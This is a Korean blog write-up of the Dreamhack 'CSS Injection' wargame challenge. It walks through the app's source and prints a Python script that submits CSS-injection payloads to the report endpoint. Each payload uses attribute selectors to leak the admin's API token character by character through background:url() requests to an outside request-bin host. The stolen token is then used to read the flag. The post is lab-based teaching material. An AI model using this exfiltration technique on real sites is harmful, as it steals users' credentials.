SlowTurtle_

천천히 그러나 끝까지 완주

Webhacking-Write-Up/Dreamhack

[Dreamhack] CSS Injection

SlowTurtle_ 2023. 1. 10. 16:12
728x90

[Dreamhack] CSS Injection

코드가 너무 길어서 하나 하나 필요한 부분만 첨가하기로 했다.

우선 로그인하는 부분만 보면 guest로 하고싶은 욕구를 참지 못하고 guest : guest로 가입했다.

guest로 로그인 후 메인 페이지를보니 Private memo Service라는 문구를 보니 id마다 memo를 별개로 하겠구나 라는 생각이 들었고 그럼 flag는 admin으로 로그인한 memo에 있겠구나 생각했다. 

    # Add FLAG
    execute(
        'INSERT INTO memo (uid, text)'
        'VALUES (:uid, :text);',
        {
            'uid': adminUid[0][0],
            'text': 'FLAG is ' + FLAG
        }
    )

이 코드를 보면 uid, text 그러니까 uid마다 text를 갖고있다. 어떤 uid를 가진 사람은 text에 flag를 가지고 있고.. 음 확신이 들었다. 어떤 uid에는 memo에 flag를 가지고 있구나. 그러면 admin계정을 탈취하면 되는데 그걸 어떻게 하느냐가 관건이었다.

ADMIN_USERNAME = 'administrator'
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))

소스코드를 보니 admin uid는 administrator 인것을 확인했다. 근데 패스워드가.. 32자리를 때려맞추기엔 이전에 nonec을 때려맞추는 것과 같다라는 생각과 함께 막막했다. 코드를 조금 더 보다가

@app.context_processor
def background_color():
    color = request.args.get('color', 'white')
    return dict(color=color)

색깔을 get으로 받는 것을 알았다. 바꿔볼까... 못참는다.

사실 blue를 했었는데 눈이 너무 아파서 light를 붙였다.

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get('API-KEY', None)
        token = execute('SELECT * FROM users WHERE token = :token;', {'token': apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {'code': 401, 'message': 'Access Denined !'}
    return wrapped_view

이 부분을 보면 apikey만을 통해서 유저를 식별함을 알 수 있었다. 그럼 아무런 유저에 mypage에서 api token만 admin껄로 바꿔서 요청하면 될거라는 생각을 했다. 

def token_generate():
    while True:
        token = ''.join(random.choice(string.ascii_lowercase) for _ in range(16))
        token_exists = execute('SELECT * FROM users WHERE token = :token;', {'token': token})
        if not token_exists:
            return token

위 코드를 보면 token은 16글자인데 소문자로 구성된 것을 확인했다. 그럼 token을 찾는 스크립트를 짜보자.

import requests

dreamhack_url=f"http://host3.dreamhack.games:21711/report"


apikey='zuazaldk'
payload_alp=list(range(ord('a'),ord('z')+1))
payload=f"/mypage?color=red;}} input[id=InputApitoken][value%s%s]{{background:url(https://eucdtrn.request.dreamhack.games/?apikey=%s)}}"

for i in payload_alp:
    requests.post(dreamhack_url, data=[('path', payload % ('^=',apikey+chr(i),apikey+chr(i)))])
    print(payload % ('^=', apikey+chr(i), apikey+chr(i)))

위와 같은 코드를 작성하였다. 그럼 이 코드를 실행해보자. 드림핵 툴 사이트가 15분마다 만료되기때문에 빠르게 실행해야한다. 

16번 실행하여 z~~로하는 문자열을 알았다.

버프슈트를 이용하여 /api/memo페이지를 요청하는데 API-KEY: 위에서 얻은 16자리를 넣고 슛하면

(하던 중간에 날라가서 apikey다시 받아서 함...)

flag가 있는 memo를 획득할 수 있다.

728x90